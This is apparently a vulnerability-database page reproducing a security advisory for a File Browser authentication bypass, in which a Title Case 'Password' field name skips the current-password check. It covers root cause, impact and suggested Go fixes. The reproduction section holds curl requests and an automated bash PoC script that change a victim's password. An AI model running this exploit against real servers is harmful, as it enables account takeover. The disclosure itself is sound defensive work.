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GHSA-hxw8-4h9j-hq2r

MEDIUM

File Browser has an Authentication Bypass in User Password Update

Also known asCVE-2026-25889GO-2026-4475
Published
Feb 10, 2026
Updated
Feb 19, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk24th percentile+0.31%
0.00%0.28%0.55%0.83%0.0%0.0%0.0%0.0%0.3%Mar 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/filebrowser/filebrowser/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Security Advisory: Authentication Bypass in User Password Update

Summary

A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) without providing the current password. By using Title Case field name "Password" instead of lowercase "password" in the API request, the current_password verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.

CVSS Score: 7.5 (High)
CWE: CWE-178 (Improper Handling of Case Sensitivity)


Details

The vulnerability exists in http/users.go in the userPutHandler function (lines 181-200).

Vulnerable Code

// http/users.go:181-200
if d.settings.AuthMethod == auth.MethodJSONAuth {
    var sensibleFields = map[string]struct{}{
        "all":          {},
        "username":     {},
        "password":     {},  // lowercase
        "scope":        {},
        "lockPassword": {},
        "commands":     {},
        "perm":         {},
    }

    for _, field := range req.Which {
        if _, ok := sensibleFields[field]; ok {  // Case-sensitive lookup
            if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
                return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
            }
            break
        }
    }
}

Root Cause

  1. The sensibleFields map uses lowercase keys (e.g., "password")
  2. The lookup sensibleFields[field] is case-sensitive
  3. When req.Which contains "Password" (Title Case), the lookup returns false
  4. The password verification block is skipped entirely
  5. Later in the code (line 229), field names are converted to Title Case for processing, so "Password" is a valid field name

Attack Flow

1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.)
2. Attacker sends PUT /api/users/{id} with:
   - which: ["Password"]  (Title Case - bypasses validation)
   - data.password: "attacker_password"
   - NO current_password field required
3. Password is changed without verification
4. Victim is locked out, attacker has full access

PoC

Prerequisites

  • A valid JWT token for any user account
  • Target Filebrowser instance using JSON authentication (default)

Reproduction Steps

Step 1: Obtain a valid JWT token

TOKEN=$(curl -s -X POST "http://target:8080/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"victim","password":"victim_password"}')

Step 2: Attempt normal password change (should fail)

curl -s -X PUT "http://target:8080/api/users/1" \
  -H "X-Auth: $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "what": "user",
    "which": ["password"],
    "data": {"id": 1, "password": "NewPassword123456"}
  }'
# Response: 400 Bad Request (the current password is incorrect)

Step 3: Bypass with Title Case (succeeds without current_password)

curl -s -X PUT "http://target:8080/api/users/1" \
  -H "X-Auth: $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "what": "user",
    "which": ["Password"],
    "data": {"id": 1, "password": "HackedPassword123"}
  }'
# Response: 200 OK

Step 4: Verify account takeover

# Original password no longer works
curl -s -X POST "http://target:8080/api/login" \
  -d '{"username":"victim","password":"victim_password"}'
# Response: 403 Forbidden

# New password works
curl -s -X POST "http://target:8080/api/login" \
  -d '{"username":"victim","password":"HackedPassword123"}'
# Response: Valid JWT token

Automated PoC Script

#!/bin/bash
# Usage: ./poc.sh <target> <username> <current_password> <new_password>

TARGET="$1"
USERNAME="$2"
CURRENT_PASS="$3"
NEW_PASS="$4"

# Login
TOKEN=$(curl -s -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"$USERNAME\",\"password\":\"$CURRENT_PASS\"}")

# Get user ID from token
USER_ID=$(echo "$TOKEN" | python3 -c "
import sys,json,base64
parts=input().split('.')
payload=json.loads(base64.b64decode(parts[1]+'=='))
print(payload['user']['id'])
")

# Exploit: Change password without current_password
curl -s -X PUT "$TARGET/api/users/$USER_ID" \
  -H "X-Auth: $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"what\": \"user\",
    \"which\": [\"Password\"],
    \"data\": {\"id\": $USER_ID, \"password\": \"$NEW_PASS\"}
  }"

echo "Password changed to: $NEW_PASS"

Impact

Who is Impacted

  • All Filebrowser users using JSON authentication method (default configuration)
  • Any user whose JWT token can be obtained by an attacker
  • Particularly high-value targets: administrator accounts

Attack Scenarios

ScenarioImpact
XSS + Token TheftComplete account takeover
JWT in Server LogsMass account compromise
Shared ComputerSession hijacking
Malicious Browser ExtensionCredential theft

Security Impact

CategorySeverity
ConfidentialityHigh - Attacker gains full account access
IntegrityHigh - Attacker can modify all user data
AvailabilityHigh - Legitimate user locked out

Scope

  • The vulnerability affects password modification only
  • Other sensitive fields (Username, Scope, Perm, etc.) have additional protection via NonModifiableFieldsForNonAdmin check
  • However, for administrators, all fields can be modified using this bypass technique

Suggested Fix

Option 1: Case-insensitive field matching (Recommended)

// Convert field to lowercase before checking
for _, field := range req.Which {
    if _, ok := sensibleFields[strings.ToLower(field)]; ok {
        if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
            return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
        }
        break
    }
}

Option 2: Use Title Case in sensibleFields

var sensibleFields = map[string]struct{}{
    "All":          {},
    "Username":     {},
    "Password":     {},  // Title Case to match post-transformation
    "Scope":        {},
    "LockPassword": {},
    "Commands":     {},
    "Perm":         {},
}

// Check AFTER field name transformation
for k, v := range req.Which {
    v = cases.Title(language.English, cases.NoLower).String(v)
    req.Which[k] = v
    
    // Now check with Title Case
    if _, ok := sensibleFields[v]; ok {
        if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
            return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
        }
        break
    }
}

References

  • Affected File: http/users.go
  • Affected Lines: 181-200
  • Related Code: NonModifiableFieldsForNonAdmin (line 17)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/filebrowser/filebrowser/v2all versions2.57.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/filebrowser/filebrowser/v2 to 2.57.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hxw8-4h9j-hq2r is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-hxw8-4h9j-hq2r is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-hxw8-4h9j-hq2r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# Security Advisory: Authentication Bypass in User Password Update ## Summary A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) **without providing the current password**. By using Title Case field name `"Password"` instead of lowercase `"password"` in the API request, the `current_password` verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means. **CVSS Score**: 7.5 (High) **CWE**: CWE-
O3 Security · Impact-Aware SCA

Is GHSA-hxw8-4h9j-hq2r in your dependencies?

O3 detects GHSA-hxw8-4h9j-hq2r across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.